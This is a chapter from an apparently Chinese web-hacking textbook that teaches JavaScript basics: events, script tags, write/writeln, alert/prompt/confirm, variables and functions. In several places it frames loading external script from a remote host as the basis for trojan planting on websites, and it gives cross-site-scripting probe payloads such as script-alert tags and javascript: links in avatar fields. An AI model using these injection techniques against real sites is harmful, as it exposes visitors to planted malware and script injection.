当前位置: 首页 > 文档资料 > 精通脚本黑客 >

第四章 Javascript和vbscript入门

优质
小牛编辑
113浏览
2023-12-01

对于客户端脚本语言,如果只学 HTML 的话。那是肯定不够用,毕竟现在的网页都是动态的,没有动态效果就像一滩死水一样没有任何吸引力。而 Javascript 和 vbscript 这两种动态客户端脚本语言担当起了把 HTML 静态页面转变成支持用户交互并响应相应时间的活页面的角色。当然动态的客户端脚本语言是不只 Javascript、vbscript 这两种,比如还有 JScript,但是这两种使用的最为广泛。也是脚本黑客所必须掌握的脚本语言之一,千万不要因为他们是属于客户端脚本语言就小看他们,他们的功能也是非常的强大,比如 google 桌面搜索小工具、MSN 桌面搜索 Gadget 都可用 Javascript 和 vbscript 完成。同样他们在脚本黑客技术中也是运用的非常广泛,下面就开始我们新的学习之旅吧。

    1. 什么是Javascript语言

      1. Javascript简介

        Javascript 是一种通用的脚本编程语言,并具有安全性能的解释性语言。Javascript 代码嵌入在 HTML 页面中,它把静态的页面转变成支持用户交互并响应事件的活页面,它能够运行在很多平台上,并独立于硬件。Javascript 和 HTML 关系密切,他们都是由浏览器来处理,HTML 是通过浏览器的组网库和图形子系统来处理和展示,而 Javascript 程序是通过浏览器中内置 Javascript 解释执行的。浏览器处理 WEB 页面的一般过程为:浏览器请求一个 WEB 页面,WEB 服务器则把整个页面的内容发送给浏览器,包括 HTML 和 Javascript 语句。之后,浏览器加载 WEB 页面,加载的过程中,浏览器读取 WEB 页面的HTML 语句,并逐行翻译,直到遇到 Javascript 代码中的开始标记时,Javascript 解释器接管页面的处理过程并继续进行处理,到达 Javascript 代码中的结束标记时,Javascript 解释器把将处理控制权交付出去,浏览器继续处理 HTML 内容。

        对于初学 Javascript 的朋友来说,有两个常识大家必须要明白。

        1、 由浏览器处理的 Javascript 称作为客户端 Javascript。虽然 Javascript 主要用于客户端脚本编程,但这并不是 Javascript 的唯一用法,它也能够用户除 WEB 浏览器之外的其他环境,比如创建一种用于在服务器上编程的 Javascript,则它可以看成是像 ASP 一样的服务端脚本语言。但是这里我们不讨论服务器端的,而把精力放在 Javascript 运用最为广泛的客户端上。

        2、 很多初学者会以为 Javascript 就是 JAVA,事实上,Javascript 不是 JAVA。他们是由两家不同的公司开发出来的, Javascript 是由 Netscape 公司开发,而 JAVA 则是 Sun

        Microsystem 公司开发的;JAVA 可以说是与 WEB 页面无关,而 Javascript 程序则嵌入在 WEB 页面中,并且必须在浏览器中运行;JAVA 程序必须要经过编译器的编译(如

        J2SDK)后才可以运行,而 Javascript 程序则由内置在浏览器中的 Javascript 引擎解释执行,不需要进行编译。

        Javascript 程序用于检测用户的活动,并对用户的操作做出相应的响应。比如,当鼠标点击某个链接的时候,该链接就变成了另外一种颜色,这就是对用户操作作兴的相应的响应。通过 Javascript 程序,可以控制 WEB 页面的外观,也能够检测用户数据数据的有效性,而这些操作都不需要和服务器进行交互,这样就减轻了服务器的处理数据负担。

        总的来说 Javascript 能够完成以下的功能:

        1、控制文档的外观和内容

        2、控制浏览器的行为

        3、 与用户交互

        使用 Cookies 读写客户端状态

        4、 操作嵌入图象

      2. Javascript和事件

        通过上一章的学习,我们知道 HTML 编写的 WEB 页面是静态。HTML 可以用于创建按纽、单选框、复选框、列表框和各种表格,但是 HTML 本身不能对于用户的操作做出反应。可是 Javascript 是动态的,它能够和用户在客户端(即浏览器)进行交互。例如,当用户填写一张表格,单击了按钮、图像、链接,或者在鼠标指针移过某个连接时,Javascript 都能够对这些事件做出反应,并与用户进行动态交互。比如说,把我们在浏览器上填写的数据发往服务器之前,Javascript 能够检查我们输入数据的有效性,这常常用于检测用户输入的 E-MAIL 地址是否合法上,如图 4-1 所示,我 E-MAIL 地址处随便写个不合法的地址,单击提交后就马上弹出不合法的对话框,这就是对检测的效果。

        image

        图 4-1

        同时这也是对我们的单击事件做出的操作和反应。各位黑友在此之前应该对事件要有一个清晰而正确的认识:事件是 Javascript 是让页面活起来的驱动力,所有的 Javascript 都是对某个事件做出的操作和反应。

        事件和 HTML 是紧密连接在一起的,比如在下面的示例 4-1 中,我们使用<form>标记和桑属性创建了一个窗体。Type 属性指定了输入框的类型为按钮;value 属性指定了这个按钮的值为"请单击此处",这个值也是按钮的标题;当我们在浏览器窗口中单击这个按钮时,

        就会触发一个叫 Click 的 Javascript 事件,Click 的意思是"单击"。使用 onClick 这个符号代表发生单击事件时执行的 Javascript 代码,我们也可以叫做事件处理程序。这里我给 onClick这个事件处理指定了一条语句,用户单击按钮后,就会执行这条语句。在这个示例 4-1 中,这条语句的功能是在一个消息框中显示"你刚刚单击了按钮,触发了 Click 事件!"。

        示例 4-1 的代码如下:

        <html>

        <head><title>事件处理</title></head>

        <body>

        <form>

        <input type="button" value="请单击此处" onClick="alert('单击了按钮,触发了 Click 事件')">

        </form>

        </body>

        </html>

        图 4-2 显示了我们打开这个例子的 HTML 文档时显示的页面,图 4-3 显示了单击按钮后显示的消息框。

        image

        image

        image

        图 4-2

        图 4-3

        表 4-1 我给出了 Javascript 能够处理的一些常见事件。表格的第一列是事件处理程序属性名,这些名称都是以"on"开始;第二列是可以应用这些属性的 HTML 标记;第三列给出了事件的触发时机,也就是事件处理程序在什么时候才可以被运行。

        事件处理程序

        HTML 标记

        触发时机

        onAbort

        <img>

        图像加载过程给中断了时触发

        onBlur

        <body>和窗体元素

        窗体和窗体元素在失去键盘焦点时触发

        onChange

        窗体元素

        用户修改了窗体元素的值后触发

        onClick 所有元素 用户单击了类似按钮这样的窗体元素后触发

        onError <img> 加载图像过程中发生错误时触发

        onFocus <body> 窗体或窗体元素得到键盘焦点时触发 onLoad <body><img><object> 文档、图像或对象完成加载时触发 onMouseOut 所有元素 鼠标指针离开对象时触发

        onMouseOver 所有元素 鼠标指针移过对象时触发

        onSubmit <form> 用 户 提 交 窗 体 时 触 发

        onUnLoad <body>,<frameset> 卸 载 文 档 时 触 发

      3. Javascript代码的编写与执行

通过上一章的学习,相信大家对 HTML 的文档结构都已经比较熟悉了。当能够开发出静态的HTML 页面之后,那么在这个页面中添加Javascript 语句就简单了。客户端的Javascript程序是嵌入在 HTML 文档中头标记<head>和</head>或体标记<body>和</body>之间。

Javascript 程序都是使用<script>标记作为程序的开始,</script>标记作为程序的结束。所有的 Javascript 代码都是在标记<script>和</script>之间编写。如果 Javascript 程序很长,也很复杂,或者想让某个 Javascript 程序重用,那么就应该把这样的程序防止外部文件中,后缀名为.js,并将这个 js 文件加载到 WEB 页面中。Javascript 代码中的注释通常有两种,一中是以两个斜杠(//)起始,这个注释支持一行注释,而如果要有一次注释多行的话,那就可以用注释符/*……..*/。

下面我给出了一个在<body>标记中定义 Javascript 程序的示例 4-2,让大家更加具体的明白 Javascript 程序的定义位置和使用方法。这个例子的功能是在文档中输出一行文本,并与 HTML 文档中定义的静态文本对比。

示例 4-2 的代码如下:

<html>

<head><title>javascript 编程示例</title></head>

<body>

<script language="javascript" type="text/javascript">

// javascript 代码使用的声明处

document.writeln("<h1>这是用 javascript 输出的代码</h1>");

// 利用 document 对象的writeln 方法往页面上输出"javascript 输出的代码"这段文字

</script>

这是用 HTML 本身功能显示的文字

</body>

</html>

image

图 4-4

保存代码后,把文件后缀名改成 html 即可。如图 4-4 所示,就可以看到 javascript 语言编写的代码的效果了。在示例 4-2 中,<script>标记是 Javascript 代码的开始标记,javascript 语句放在这个标记和代码结束</script>之间。同时在<script>标记里面还用到了 language 和 type这两个属性,这些属性的具体作用将在 Javascript 基础这一节中具体讲解,这里就是先让大家有一个感性认识。这里我们调用了文档对象 document 的 writeln()函数,document 对象代表当前的文档,writeln()函数是在当前的文档中输出一个字符串,引号中的字符串是输出的内容,有 C 语言基础的朋友应该很熟悉这个函数了。

上面我提到了,当 javascript 代码很长、很复杂、或者当 javascript 代码需要在多个 HTML

页面中重用时,我们可以把这些代码单独保存在一个外部文件中,然后在一个或者多个

HTML 页面中引用这些代码。保存 Javascript 代码的外部文件必须使用扩展名为 js 的指定文件类型。在 HTML 页面中引用外部文件中的 javascript 代码时,将外部文件名赋值给<script>标记的 src 属性。Javascript 代码的外部文件可以是保存在本地,此时,外部文件名可以使用全路径或者部分路径;同时外部文件也可以保存在另外一台机器上,此时,赋值给 src 属性的文件名就必须是完整的 URL 名称,我们的 js 挂马技术就是用到这里的知识。示例 4-3 演示了引用存储在本地机器上的 js 文件。js 文件名字为 4-3.js,文件的的代码是: document.writeln("<h1>这是用 javascript 引用外部 js 文件后输出的代码</h1>");。而引用这个 js 文件的代码为:<script language= "javascript" src= " C:\Documents and Settings\Administrator\桌面\4-3.js"></script>。下面就是示例 4-3 中引用外部文件的完整代码:

<html>

<head><title>引用外部 JS 文件</title>

<script language= "javas cript" src= " C:\Documents a nd S ettings\Administrator\ 桌 面

\4-3.js"></script>

</head>

<body>

<script language="javascript" type="text/javascript"> document.writeln("这是不引用外部 JS 文件输出的 javascript 代码");

</script>

</body>

</html>

image

图 4-5

如图 4-5 所示,我们的引用的外部 js 文件已经在页面上显示了,js 挂马就是利用的这个原理。在 js 挂马中,我们只要把我们的木马地址写入 js 文件即可达到挂马的效果了。隐蔽性还是不错。小技巧:如果要关闭 javscript 的支持的方法是,选择浏览器菜单栏中的"工具"——> "Internet 选项",在弹出的对话框中,激活"安全"标签,选择"本地 Internet",单击"自定义级别"按纽,在弹出的"安全设置"对话框中,使用"设置"栏中的活动脚本置为"禁用"状态,单击"按钮"就关闭了 javascript 的支持了,而要使用的话就单击"启用"即可。如图 4-6所示。

image

图 4-6

Jvascr ipt 脚本运行在HTML 文档环境中,所以编写客户端的 Jvascript 代码时,首先要进行的工作是选择自己喜欢的编辑器来创建 HTML 文档。在 windows 环境下我们一般使用记事本,而在 linux 或者 unix 下一般使用 vi 编辑器。不过有一点大家要注意,如果我们使用记事本来创建 HTML 文档,那么一定不要选中"格式"菜单中的"自动换行"菜单项,因为选中了可能会引起 HTML 文档错误。我们按照上面的知识写好了一个 javascript 文件后,只要把这个文件保存为 html 后缀即可。

    1. Javascript基础

      1. 语法规则

        和我们人类使用的语言一样,所有的计算机编程语言也都有自己的规则。我们在利用编程编写程序的时候必须遵守这些规则,否则程序就可以不能够运行了。上一章我们已经对

        HTML 语法规则有了一定的认识,接下来学习 Javascript 的语法规则,这些都是编写 Javascript

        代码的基础哦。虽然有点枯燥,大家可要提起精神来呀,千万不打瞌睡,不然就跟不上了。

        1、 大小写。

        HTML 标记不区分大小写,在前面我已经给大家讲解的很清楚,如果对 HTML 语法还有什么不懂的地方可以参考上一章的具体内容,这里不多讲了。而在 Javascript 代码中,各种名称都是区分大小写的。例如,Javascript 使用 false 表示的逻辑值是"假",如果我们把它拼写成其他形式,比如 False,那么就会导致程序出错或者这段代码被 javascript 的解释器给忽略。一般来说,Javascript 中使用的大多数名称都是采用小写形式,但也有一些名称采用大小写组合方式,比如示例 4-1 中的 onClick。因此,在编写代码时,要特别注意大小写的问题。

        2、分号和语句结束符。

        Javascript 语言是一种表达式语言,它的语句由表达式构成。程序在执行时,正常情况下,按自上而下的方式顺序执行,一次执行一条语句。在 Javascript 程序中,一行可以写一条语句,也可以写多条语句。一行中写多行语句时,语句之间用英文分号(;)分隔。一行只写一条语句时,语句的结尾处可以写上一个分号,也可以不写分号。不过我本人还是建议写上分号,因为这是养成一个良好的编程习惯。从语法上说,下面的两条语句都是正确的:

        var cityname="长沙" var cityname="长沙";

        第一条语句没有使用分号作为语句结束符,在语法上是正确,但第二种表示方法更加清晰。下面的一行代码是错误的,原因是它在一行上书写了两条代码,并且在代码之间没有使用分号进行分隔:

        var cityname="长沙" d ocument.write("你好,"+cityname);

        //+表示连接符的意思,把前后两个字符连在一起,并不是数学上的加号正确的书写格式应该为:

        var cityname="长沙"; doc ument.write("你好,"+cityname); 3、<script>标记

        前面已经提到,Javascript 代码放置在HTML 标记<script>和</script>之间。反过来我们可以这样理解,HTML 标记<script>和</script>之间的一切内容都被浏览器认为是 Javascript代码。Javascript 代码可以放置在 HTML 文档的任何位置。一般来说,如果希望在显示 HTML页面之前执行代码,那么将 Javascript 代码放在<head>和</head>标记之间。如果代码需要操作文档内容,比如插入一段文字,那么将 Javascript 代码放在<body>和</body>之间。

        每一个 HTML 文档可以根据需要放置多个<script>和</script>标记,也就是可以编写多段代码,每一段代码可长可短,没有长度限制。<script>和</script>标记的一般格式为:

        <script>

        一条或多条 Javascript 语句

        </script>

        除了上面最简单的<script> 标记之外,还可以使用属性来修饰这个标记,最常用的有

        language、type、src 这三个属性。

        (1)、language 属性指定程序代码使用哪一种脚本语言,常用的值为 JavaScript、VBScript、

        Jscript。设置 language 属性的一般格式为:<script langrage="JavaScript">

        (2)、type 属性用于同时指定脚本语言和 Internet 内容类型。使用 type 属性指定脚本语言为

        JavaScript 的常用语句格式为:<script ty pe= "text/javascript"></script>

        (3)、当要执行的脚本代码存放在某个外部文件中时,使用 src 属性指定该文件,文件的扩展名通常为.js,这样的文件称作 JavaScript 脚本文件。在文件名称中,可以包含路径或者 URL。如:<script langrage="JavaScript" type="text/javascript" src= "haha.js"></script>

        <script langrage="JavaScript" type="text/javascript" src= http://xxxx.com/haha.js></script> JavaScript 脚本文件保存 Javascript 代码,其中不需要编写<script>、</script>标记,也不需要任何 HTML 标记。使用 src 的属性的行为与直接把代码嵌套在<script>、</script>标记之间的行为是完全相同,这就是 js 挂马技术的原理,利用它,我们可以挂马。

      2. 动态生成页面内容

        动态生成页面主要是构造出动态效果的 HTML 页面,要往 HTML 页面中输出,常用的有字符串拼接、write()及 writeln()等方法。

        1、 字符串拼接。

        字符串是任意多个字符组成的一串符号,比如,"曾云好"就是一个字符串。Javascript规定,使用单引号或双引号把字符串文字括起来,这样来分辨出其他的 Javascript 语言元素。不过有一点要注意的是引号本身不是字符串的一部分,它的功能是告诉 Javascript 解释器,引号的内容是一个字符串。书写字符串时,一定要用相同的引号把字符串括起来,例如,'长沙"是一个错误的字符串的书写方法。使用加号(+)可以把两个字符串拼接起来,组成一个字符串。例如:"湖南省"+'长沙市','湖南省'+'长沙市',都可以拼接出字符串“湖南省长沙市”。

        2、 write()和 writeln()方法。 Javascript 的一个重要功能就是能够动态地生成HTML 页面,要把数据、文本以及 HTML

        本身输出到浏览器中,我们就不能不提到 document 对象以及这个对象的 write()和 writeln()方法了。document 对象表示当前加载到浏览器中的 HTML 文档,即当前正在打开的 HTML文件。write()和 writeln()方法是 document 对象的两个方法,它们的功能是把文本添加到浏览器中要显示文本的当前位置。write()和 writeln()方法的语法格式为: document.write(value,…………..)

        document.writeln(value,………...)

        从上面括号里的参数可以看出,这两个方法可以同时输出多个值。例如:

        document.write("湖南省","长沙市") //在浏览器中添加输出"湖南省长沙市"

        writeln()方法的功能与 write()方法相同,他们的唯一区别是 writeln()方法在输出文字的同时,还要输出一个换行符号,不过要使 writeln()方法产生换行的效果还必须加上<pre>这个标记。下面的示例 4-4 演示了 writeln()和 write()方法的显示效果差异。

        示例 4-4 代码如下:

        <html>

        <head><title> writeln()和 write()及<pre>标记显示效果的差异</title></head>

        <body>

        <script language=JavaScript>

        document.write("湖南省");

        document.write("长沙市");

        document.write("芙蓉区");

        </script>

        <br>===================================<br>

        //<br>标记为换行的作用

        <script language=JavaScript> document.writeln("湖南省");

        document.writeln("长沙市");

        document.writeln("芙蓉区");

        </script>

        <br>==================================<br>

        <pre>

        <script language=JavaScript> document.writeln("湖南省"); document.writeln("长沙市"); document.writeln("芙蓉区");

        </script>

        </pre>

        </body>

        </html>

        在示例 4-4 中,写了三段代码,第一段代码用的 write()方法输出字符串"湖南省长沙市芙蓉区";第二段代码用的是 writeln()方法输出字符串"湖南省长沙市芙蓉区";第三段也是和第二段用的相同的方法,不过在中间还加了一对<pre>标记。运行的结果如图 4-7 所示。

        image

        图 4-7

        从图中我们可以看到,虽然第二段代码使用的是 writeln()方法,但是结果却是和使用 write()

        方法的结果一样,而第三段代码使用的是 wrteln()方法,可是在中间加了一对<pre>标记就出

        现了换行的效果。所以结论是对于一般的 HTML 文档来说,这两种方法产生的输出效果是一样的,但是结果位于 HTML 的<pre>标记中,那么使用 writeln()就会出现换行的效果,当然还可以使用<br>标记也发生换行。

      3. 与用户交互的基本方法

        大多数情况,我们需要和程序进行交互,让程序告诉我们已经发生的情况,或从我们这里得到程序运行的下一步的数据,这种例子太多,比如我们登陆 QQ 的时候需要输入 QQ 号码和密码,这也是一个与程序的交互过程。在 Javascript 语言中,提供的对话框功能可以帮我们实现这个功能,达到与用户交互的目的。可以使用 alert()、prompt()、confirm()这三种方法来创建对话框。

        1、 显示信息对话框的 alert()方法

        与上一节讲的 write()和 writeln()方法不同的是,alert()方法生成的是一个独立的小窗口,称作对话框,用它来显示一条信息和一个按纽。虽然不同的浏览器中的 alert()对话框的外观不完全相同,但是功能是一样的。alert()方法的语法格式为:alert(expression);。expression是一个字符串类型的参数,并在对话框中显示该参数的值。不过需要注意的是 alert()方法不处理参数字符串中包含的 HTML 标记,如果在字符串参数中包含 HTML 标记,那么 alert()方法直接作为字符串而显示这些标记,但是可以在 alert()方法的参数中使用转义字符,比如换行符\n 等,从而控制控制文字的显示位置。而且看过跨站方面的文章的朋友都知道跨站经常是弹出 一个对话 框,利用 的知识就 是 alert() 方法,通 常写入的 代码是

        <script>alert("cmd")</script>。示例 4-5 演示了 alert ()方法的使用。代码如下:

        <html>

        <head><title>alert()方法的使用示例</title></head>

        <body>

        <script>alert("alert 方法")</script>

        <script>alert("alert\n 方法")</script>

        <script>alert("可以用来跨站")</script>

        </body>

        </html>

        在第二个 alert()方法中使用了\n 换行符,所以在弹出的对话框中就会有两行,如图 4-8

        所示。而对于跨站我将在后面给大家详细的讲解。

        image

        图 4-8

        2、 显示确认选择对话框的 confirm()方法

        确认选择对话框用于确定用户对某个 YES/NO 风格问题的回答。这种风格的对话框中显示一个问号和两个按钮:“确定”和“取消”。当我们点击“确定”按钮时,confirm()方法返回 true,否则就返回 false。confirm()方法只需要一个参数,用于向用户提出 YES/NO 风格问题的回答。Confirm()方法的语法格式为:confirm(string)。其中 string 是要在该对话框中显示的提示信息。示例 4-6 演示了 confirm()方法的使用,代码如下:

        <html>

        <head><title>confirm()方法的使用示例</title></head>

        <body>

        <script language="javascript"> document.writeln("湖南省 长沙市"); if(confirm("要显示我更加详细的地址吗?")==true){ document.writeln("芙蓉区 远大路");

        alert("已经显示我的详细地址了");

        }

        else{

        alert("不显示我的详细地址");

        }

        </script>

        </body>

        </html>

        把代码保存之后打开,首先输出字符串"湖南省 长沙市"并弹出一个选择确认对话框,如图 4-9 所示。如果我们选择确定,那么 confirm()方法返回 true,和上面我们 if…..else语句中的判断条件相符合,那么就会继续输出字符串"芙蓉区 远大路",并弹出信息对话框,提示"已经显示我的详细地址了",如图 4-10;如果选择的是取消,那么就弹出信息对话框,提示"不显示我的详细地址",如图 4-11。

        image

        图 4-9

        image

        图 4-10

        image

        图 4-11

        3、 显示提示对话框的 prompt()方法

        使用 prompt()方法显示提示对话框,在这个对话框中,可以显示一条由参数指定的消息,并等待用户在文本框中输入一段文字,同时这个对话框还显示了两个按钮:“确定”和

        “取消”。用户点击“确定”按钮后,返回用户在对话框的文本框中输入的文字,否则返回

        null,即返回空。

        prom pt()方法使用两个参数:第一个参数是一个字符串,指定在对话框中显示的消息;第二个参数也是一个字符串,指定在文本框中显示的初始值,如果省略了这个参数那么就会在文本框中显示字符串"undefined",如图 4-12 所示。

        image

        图 4-12

        如果该参数的值为空字符串,那么在文本输入框中什么也不显示。prompt()方法的两种可用语法格式为:

        prompt(message); prompt(message,defaultText);

        其中,message 是指定对话框中显示的消息,defaultText 指定文本框中显示的初始内容。示

        例 4-7 演示了 prompt()方法,代码如下:

        <html>

        <head><title>prompt()方法的使用示例</title></head>

        <body>

        <script language="javascript">

        prompt("年龄","")

        prompt("地址","湖南")

        </script>

        </body>

        </html>

        保存后运行的结果,如图 4-13 所示。

        image

        图 4-13

      4. 变量和函数的声明与使用

        1、变量

        在我们的现实生活中,每个人都有名字,通常可能还有几个名字,比如一个姓名和一个小名。而在我们的计算机语言里也同样存在名字,我们叫它变量。而这个变量代表的是系统里一个存储区域。所有的计算机编程语言都提供了变量这个语言元素。变量用于存储数据,比如数字或字符串等等。变量一般有名称、类型及变量的值这三方面的特性。比如: Num=8;

        City= "长沙";

        不是任何符号都能够做变量的名称。根据 Javascript 的规定,变量的名称是以字符或下划线开头,后面跟一个或多个字母或数字,而且变量名称区分大小写,例如 name、Name 是两个不同的变量。

        变量在使用之前一定要声明,声明变量的方式有两个:(1)、使用关键字 var 显式声明变量。(2)、使用赋值语句隐式地声明变量。在变量声明的同时可以给这个变量赋值,即给变量指定一个值,这个过程我们叫做变量的初始化。变量的声明语句的一般格式为:

        var variable_name= value; // 声明变量的同时初始化变量 var variable_name= value; // 声明变量,但是没有初始化 variable_name= value: // 在为变量赋值的同时声明变量

        其中,var 是关键字,variable_name 是变量名称,value 是赋给变量的值。如果声明一个变量除了在一行中声明一个变量之外,也可以在一行中声明多个变量,各变量之间使用逗号分隔,例如:var name,sex,age;

        示例 4-8 演示了变量声明及用法,代码如下:

        <html>

        <head>

        <title>变量声明及用法</title>

        <pre>

        <script language="JavaScript">

        var name="曾云好"; //声明并初始化变量

        var sex; // 声 明 但 未 初 始 化

        city=" 长 沙 "; // 赋 值 并 初 始 化 变 量

        age; // 错 误 的 声 明 方 式

        document.writeln("姓名:"+name);

        document.writeln("性别:"+sex);

        document.writeln("城市:"+city);

        document.writeln("年龄:"+age);

        </script>

        </pre>

        </head>

        <body></body>

        </html>

        通过上面的代码,加上我的解释,大家可以很快发现 age 这个变量的声明是错误的,所以在运行时就会出现错误,如图 4-14 所示。不过要产生这个错误提示,必须要对 IE 浏览器做一些设置:打开 IE 浏览器的"工具"——>打开"Internet 选项"——>"高级"——>把"显示每个错误脚本的通知"选上,如图 4-15 所示。如果不设置就是出现空白页了。在给 age 变量前加上关键字 var 后就可以正常运行了,因为 age 和 sex 没有赋值,所以他们为 undefined,如图 4-16 所示。

        image

        图 4-14

        image

        图 4-15

        image

        图 4-16

        2、 函数

        大家都用过电视机的遥控器吧,当我们按下数字 1 之后,电视机就转换到第 1 频道上。而这个时候我们并不关心遥控器、电视机发生了什么,而只关心电视机产生的最终结果:更换频道。这个其实就是函数的工作方式。函数是完成特定任务的一段程序代码,比如在指定的位置显示一副图像、检测用户输入的有效性等等。函数为程序设计人员提供了许多方便的能力。通常我们要设计一个比较复杂的程序时,总是要根据程序所要完成的功能,将程序划

        分为一些相对独立的部分,每个部分编写一个函数。从而使程序各个部分充分独立,并完成单一的任务。这样就使整个程序结构清晰,达到易读、易懂、易维护的目标。

        Javascript 本身提供了许多内置函数,在编写程序的时候可以直接调用。除此之外,

        Javascript 还提供了自己定义函数的方法,这样我们就可以根据自己的需要编写出自定义的函数,并在开发过程中调用。在 Javascript 中,函数是这样定义的:函数是完成一项任务并返回一个值的一组代码。

        在程序中使用函数的过程我们叫做函数的调用,简称调用。函数在调用之前是不执行的,它独立于程序。而只有编写的人才会关心函数的具体实现功能的细节,而使用函数的人只需要知道函数的功能、使用方法。这和我们在使用遥控器控制电视机是一样的呢,遥控器就是相当于我们的函数,函数执行的结果是电视机的频道更换了,而电视机是怎么更换频道的我们并不需要知道,只有生产电视机的厂商才会关心实现更换频道的细节。

        在使用函数之前,必须首先定义函数(Javascript 的内置函数是在设计 Javascript 解释器时已经定义好的一组函数,只不过这个定义过程是由解释器的开发者来完成,而不是编写程序的开发者完成,我们这里讨论的定义函数是指由程序开发人员定义的函数)。

        定义函数时,先写上关键字 function、函数的名称,然后是一对小括号,括号内可以有一个或多个参数,也可以一个参数也没有。参数的作用是用于得到调用程序时传递给函数的信息。最后是用大括号括起来的一条或多条语句。下面就是一个简单函数定义的示例: Function hell() { document.write("欢迎大家学习脚本黑客技术");}。在定义好了这个函数之后,我们就可以使用这个函数了,使用的过程叫函数调用。在 Javascript 中调用函数的方法很简单:写上函数名称、小括号以及小括号中的实际参数(没有参数时可以不写)。例如调用前面我们编写的 hello()函数的语句可以是:hello();。

        定义函数的语法格式有两种,分别为:

        function func_name() {statement;}

        function func_name(para1,para2,…..paran) {statements;}

        其中,function 是定义函数的关键字;fun-name 是函数的名称;para1,para2,…..paran 是函数的形式参数;statements 是函数完成函数功能的一条或者多条语句。相应地,调用函数的语法格式也有两种,分别为:

        func_name() func_name(arg1,arg2,……argn)

        其中,func-name 是函数名称,与定义函数时使用的名称相同;arg1,arg2,……argn 是传递给函数的实际参数,这里的实际参数的类型、个数、意义以及次序要与定义函数时的形式参数相同。

        说明:形式参数:它是在定义函数的时候为函数赋予的参数,代表了参数的位置和类型,所以系统操作系统并不会给形式参数分配实际的储藏空间,而是在调用函数时由实际参数代表形式参数参与函数的进行。实际参数:它是在调用函数的时候传递给函数的参数,通常在调用函数前就已经给这些参数分配了内存,并且包含了实际的数据。所以在函数的执行过程中,实际参数参与了函数的运行。而在函数中定义的形式参数只是表明了调用函数时实际传递给函数的参数类型而已。

        示例 4-9 演示了函数定义以及函数调用的方法,代码如下:

        <html>

        <head>

        <title>函数定义以及函数调用</title>

        <script language=JavaScript> function hello(){

        var name="欢迎来到脚本黑客世界"; alert("hello"+name+"!");

        }

        </script>

        </head>

        <body>

        <script language=JavaScript> hello();

        </script>

        </body>

        </html>

        在 HTML 的<head></head>标记中定义了函数 hello(),该函数的功能是弹出一个对话框,显示的信息为" hello 欢迎来到脚本黑客世界!"。而在<body></body>标记之间调用了函数 hello()。所以函数就执行了,弹出了对话框,如图 4-17 所示。

        image

        图 4-17

        在示例 4-9 中我们演示了函数的调用过程,其实在 Javascript 可以调用函数的方法有三种,他们分别是:

        (1)、在 Javascript 代码中调用函数

        (2)、在事件响应中调用函数

        (3)、通过链接调用函数

        在示例 4-9 中演示的调用函数的方法是属于第一种,在 Javascript 代码中调用函数一般是函数在一段 Javascript 中定义,而在另一个 Javascript 程序中调用函数。一般要遵循先定义后调用的原则。

        在事件响应中调用函数是当我们比如单击了某个按钮、单击某个复选框、将鼠标指针移过某个链接时,都将触发事件,最终调用函数进行处理。Windows 操作系统就是一个典型的事件驱动系统,其中的各种操作都是事件。通过编写程序对事件作出反应,这种反应称作响应事件。在 Javascript 中,可以使用函数与特定的事件关联起来,使函数作为事件的事件处理程序。那么当事件发生时,与该事件相关联的函数就被执行,这就是所谓的在事件响应中调用函数。这样说可能大家比较难理解,下面举个例子,为示例 4-10 所示,代码如下:

        <html>

        <head>

        <title>在事件响应中调用函数</title>

        <script language=JavaScript> function haha(){

        alert("这是在事件响应中调用函数!\nBY-曾云好");

        }

        </script>

        </head>

        <body><center>

        <form>

        <input type="button" value="请单击这里" onClick="haha();">

        </form>

        </body>

        </html>

        当我们单击按钮之后,那么事件就发生了,就会触发在<head></head>编写的事件处理函数了,弹出一对话框,显示信息为"这是在事件响应中调用函数! BY-曾云好"。如图 4-18 所示。

        image

        图 4-18

        利用 Javascript 中的伪协议 javascirpt,可以通过链接直接调用函数。调用函数的过程为:在<a>标记中,在关键字 javascript:后面写上哟啊调用函数的名称,用引号把这些内容引起来,然后赋值给 href 属性,例如<a href= "javascript:haha()">请单击这里</a>。单击这个链接时,指定的 Javascript 函数就会被调用。如下面的示例 4-11,代码如下:

        <html>

        <head>

        <title>通过链接调用函数</title>

        <script language=JavaScript> function xixi(){

        alert("这是通过链接调用函数!\nBY-曾云好");

        }

        </script>

        </head>

        <body><center>

        <form>

        <a href= "javascript:xixi()">请单击这里</a></form>

        </body>

        </html>

        当我们单击链接后,就弹出了对话框,对话框显示的信息为"这是通过链接调用函数! B Y-曾云好",如图 4-19 所示。其实这个技术也经常用于跨站,比较经典的是自定义头像跨站,在上一章我讲的是通过对<script>alert(“cmd”)</script>代码变形后得到自定义头像跨站的,其

        实还有一种方法,就是输入 javascript:alert("自定义头像跨站")也可以达到跨站。具体的将在本章最后一节中详细说明。

        image

        图 4-20

        这里我们在回顾一下函数的定义:函数是完成一项任务并返回一个值的一组代码。上面我们仔细的演示了函数完成一项任务的过程,而对于函数中返回值确没有说明。所以接下来我们就来讨论一下函数的返回值。

        在 Javascript 中我们可以使用 return 语句让函数返回一个值,而这个返回值是给调用函数。在函数我们可以使用 return 语句,也可以不使用 return 语句,但是 return 只能出现在函数中。如果程序在执行函数的过程中,遇到了 return 语句,那么就不再执行 return 语句后面的语句,而将值返回给调用函数程序。不过有一点大家还是要明白,就是如果在函数中没有

        return 语句,那么 Javascript 会隐含地在函数末尾添加一条返回 undefined 值的 return 语句,因此所有的函数都是有返回值的,只不过在没有显示使用 return 语句的函数中,系统默认添加了一条返回 undefined 值的 return 语句,所以其实所有的函数都有返回值的,这点大家要明白。

        return语句有两种形式的语法格式,分别为:

        return;

        return expression;

        其中expression是一个表达式,它的值作为函数的返回值。例如,下面的函数返回两个数差值:function maxnum (a,b){ return (a-b);}。示例4-12演示了return的用法,代码如下:

        <html>

        <head>

        <title>return的用法</title>

        <script language=JavaScript> function haha(a){

        var b=a*365; return b;

        }

        </script>

        </head>

        <body>

        <script language="JavaScript">

        var a=prompt("请输入您的岁数!",""); var tody=haha(a);

        alert("你出生了"+tody+"天");

        </script>

        </body>

        </html>

        在这个示例中,先用prompt方法输入一个岁数,然后调用函数haha计算,最后通过alert返回当前一共出生了多少天,比如我输入我的岁数20,如图4-21,最后弹出了我出生的天数为 7300,如图4-22。当然这是一个大概的天数,因为一年我都是取的365天。

        image

        image

        image

        图4-20

        图4-21

      5. 对象

在现实生活中,我们天天和对象打交道。一个人是一个对象、一台电脑是一个对象、一辆汽车是一个对象。对象有许多属性或特性。例如,电脑对象包含了显示器、主机、键盘、鼠标、音响等属性;对象还可以划分为更小的对象,比如主机也是对象,它包含了主板、

CPU、内存条、机箱等属性。

